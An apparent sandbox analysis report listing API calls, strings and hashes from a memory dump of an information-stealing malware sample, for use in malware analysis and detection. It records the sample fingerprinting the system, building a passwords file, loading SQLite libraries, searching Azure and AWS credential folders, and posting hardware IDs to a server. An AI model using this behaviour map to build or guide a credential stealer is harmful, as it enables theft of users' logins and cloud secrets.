Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ,00436924), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ,00436924,Keyboard Languages: ,00436908), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436880,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436880,00000000,00000000,00000000,000000FF,?,?,?,0041421B,Processor: ,[Hardware],00436948,00000000,TimeZone: ,00436938,00000000), ref: 00410FA6

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436908,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0043673D,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670B,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E84), ref: 004113DC

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436908,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000), ref: 0041452C

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

User Name: , xrefs: 00413FD7
Work Dir: In memory, xrefs: 00413DF9
Date: , xrefs: 00413BE8
HWID: , xrefs: 00413D17
Install Date: , xrefs: 00413E9A
Version: , xrefs: 00413B68
AV: , xrefs: 00413F07
[Hardware], xrefs: 004141D6
Threads: , xrefs: 004142B8
information.txt, xrefs: 0041453C
RAM: , xrefs: 00414319
Local Time: , xrefs: 00414114
Path: , xrefs: 00413D84
Cores: , xrefs: 00414257
VideoCard: , xrefs: 00414380
[Software], xrefs: 0041446C
[Processes], xrefs: 004143F3
Processor: , xrefs: 004141F6
TimeZone: , xrefs: 00414175
MachineID: , xrefs: 00413C49
Windows: , xrefs: 00413E39
Display Resolution: , xrefs: 00414038
Keyboard Languages: , xrefs: 004140A7
GUID: , xrefs: 00413CAA
Computer Name: , xrefs: 00413F76

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3279995179-1014693891
Opcode ID: 6f87393862becc57fbbdd16467dcb7da603c6cf4a34e40c15e9169b4a79dae42
Instruction ID: 441d3ae57d19fa342472858c1180299489366c71e834a527016756c81504465d
Opcode Fuzzy Hash: 6f87393862becc57fbbdd16467dcb7da603c6cf4a34e40c15e9169b4a79dae42
Instruction Fuzzy Hash: 14527C71D4001EAACF01FBA6DD429DDB7B5AF04308F51416BB510771A1DBB87E8E8B98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,00437190,004367C2,?,?,?), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,00437194), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,00437198), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,0043719C), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A0), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371A4), ref: 00408779
lstrcatA.KERNEL32(?,004371A8), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: ea086920ada5386683364fd7a06bf6c7dc596c925699c8f79d29885de5bae042
Instruction ID: b1a2efcfa5bdb3df5db9219e748ab06c96c9523fe0244b9b68265e97ac535b76
Opcode Fuzzy Hash: ea086920ada5386683364fd7a06bf6c7dc596c925699c8f79d29885de5bae042
Instruction Fuzzy Hash: 79813132900208ABCF05FFA1EE4A9CD7B76BF08315F205026F501B31A1EB7A5E559B99

Function 0041697F Relevance: 37.0, APIs: 8, Strings: 13, Instructions: 249
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 0041688F: StrCmpCA.SHLWAPI(?,ERROR), ref: 004168E3
Part of subcall function 0041688F: lstrlenA.KERNEL32(?), ref: 004168EE
Part of subcall function 0041688F: StrStrA.SHLWAPI(00000000,?), ref: 00416903
Part of subcall function 0041688F: lstrlenA.KERNEL32(?), ref: 00416912
Part of subcall function 0041688F: lstrlenA.KERNEL32(00000000), ref: 0041692B

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416A69
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AC2
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B22
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B7B
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B91
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BA7
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BB9
Sleep.KERNEL32(0000EA60), ref: 00416BC8

Strings

sqlp.dll, xrefs: 00416C96
ERROR, xrefs: 00416B73
ERROR, xrefs: 00416ABA
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416CA8
sqlite3.dll, xrefs: 00416C65
ERROR, xrefs: 00416B9F
ERROR, xrefs: 00416BB1
sqlp.dll, xrefs: 00416CC7
ERROR, xrefs: 00416B89
ERROR, xrefs: 00416B1A
sqlite3.dll, xrefs: 00416C31
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416C77
ERROR, xrefs: 00416A61

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$sqlite3.dll$sqlite3.dll$sqlp.dll$sqlp.dll
API String ID: 2840494320-608462545
Opcode ID: feb3d2a726b68aad2bc47e55e59194f6274ab8656105d26091bcae1cbec022c3
Instruction ID: c380a442c22d4a6f6b6b501b298ba4a24a493f2d26715ad5769ec934e4a293b5
Opcode Fuzzy Hash: feb3d2a726b68aad2bc47e55e59194f6274ab8656105d26091bcae1cbec022c3
Instruction Fuzzy Hash: 83914E71E40119ABCF10FBA6DD47ACC7771AF04308F51402BF904B7191DBB8AE898B98

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: a4c6434a9d896b8c05fe3589387c5a0ab5990a3deb65ea94288cc25d28575b73
Instruction ID: 7b9a5a96d4ba9701844ef46366e4f30bb8287ab9eabac308b73492efbeb07c71
Opcode Fuzzy Hash: a4c6434a9d896b8c05fe3589387c5a0ab5990a3deb65ea94288cc25d28575b73
Instruction Fuzzy Hash: 1341C6B1900218ABDB205F61AC4CF9F7B7DEB85715F1002BAF10AE10A1DA354A54CF38

Function 00416486 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164AB

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 004164CA
lstrcatA.KERNEL32(?,\.azure\), ref: 004164E7

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 00415FE1
Part of subcall function 00415F9A: FindFirstFileA.KERNEL32(?,?), ref: 00415FF8
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AAC), ref: 00416019
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AB0), ref: 00416033
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041605A
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436647), ref: 0041606E
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041608B
Part of subcall function 00415F9A: PathMatchSpecA.SHLWAPI(?,?), ref: 004160B8
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?), ref: 004160EE
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436AC8), ref: 00416100
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416113
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436ACC), ref: 00416125
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416139

_memset.LIBCMT ref: 0041651F
lstrcatA.KERNEL32(?,00000000), ref: 00416541
lstrcatA.KERNEL32(?,\.aws\), ref: 0041655E

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 004160A2
Part of subcall function 00415F9A: FindNextFileA.KERNEL32(?,?), ref: 004162C8
Part of subcall function 00415F9A: FindClose.KERNEL32(?), ref: 004162DC

_memset.LIBCMT ref: 00416593
lstrcatA.KERNEL32(?,00000000), ref: 004165B5
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 004165D2
_memset.LIBCMT ref: 00416607

Strings

*.*, xrefs: 004164FF
msal.cache, xrefs: 004165E7
YzA, xrefs: 00416619
\.IdentityService\, xrefs: 004165C6
Azure\.IdentityService, xrefs: 004165E2
*.*, xrefs: 00416573
\.aws\, xrefs: 00416552
Azure\.aws, xrefs: 0041656E
Azure\.azure, xrefs: 004164FA
\.azure\, xrefs: 004164DB

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$_memsetwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$YzA$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4216275855-362661257
Opcode ID: ae9bc2b4159648a03df1d8199bceb4a7e4afc74ceae7735b5587b2c0e23e741f
Instruction ID: e09d3565937ed7cb3245d894ae8b678399d548b41c077326798facb81f997529
Opcode Fuzzy Hash: ae9bc2b4159648a03df1d8199bceb4a7e4afc74ceae7735b5587b2c0e23e741f
Instruction Fuzzy Hash: 87410671D4021D6ACB14FB61EC47FDD7378AB09308F5044AAB605B70D1EAB9AB888F58

Function 00404B2E Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436967,",build_id,004377BC,------,004377B0,",hwid,0043779C,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

", xrefs: 00404ED9
------, xrefs: 00404C75
build_id, xrefs: 0040500D
------, xrefs: 00404F5B
", xrefs: 00405039
hwid, xrefs: 00404EAD
------, xrefs: 00404DFB

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$build_id$hwid
API String ID: 3006978581-3960666492
Opcode ID: fdeb0b88a224adc96af4d2bce8d64ed80c8e9e74be0c66b66c89061a8a227047
Instruction ID: dfbc783d11866e726b8d78bab9461151912d3a7d9eee88907fb077fc5923263b
Opcode Fuzzy Hash: fdeb0b88a224adc96af4d2bce8d64ed80c8e9e74be0c66b66c89061a8a227047
Instruction Fuzzy Hash: 1E02C371D5512A9ACF20EB21CD46ADDB3B5FF04308F4140E6A548B3195DAB87ECA8FD8

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,004373C8,0043680E,?,?,?), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373D4,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373D8), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373DC), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
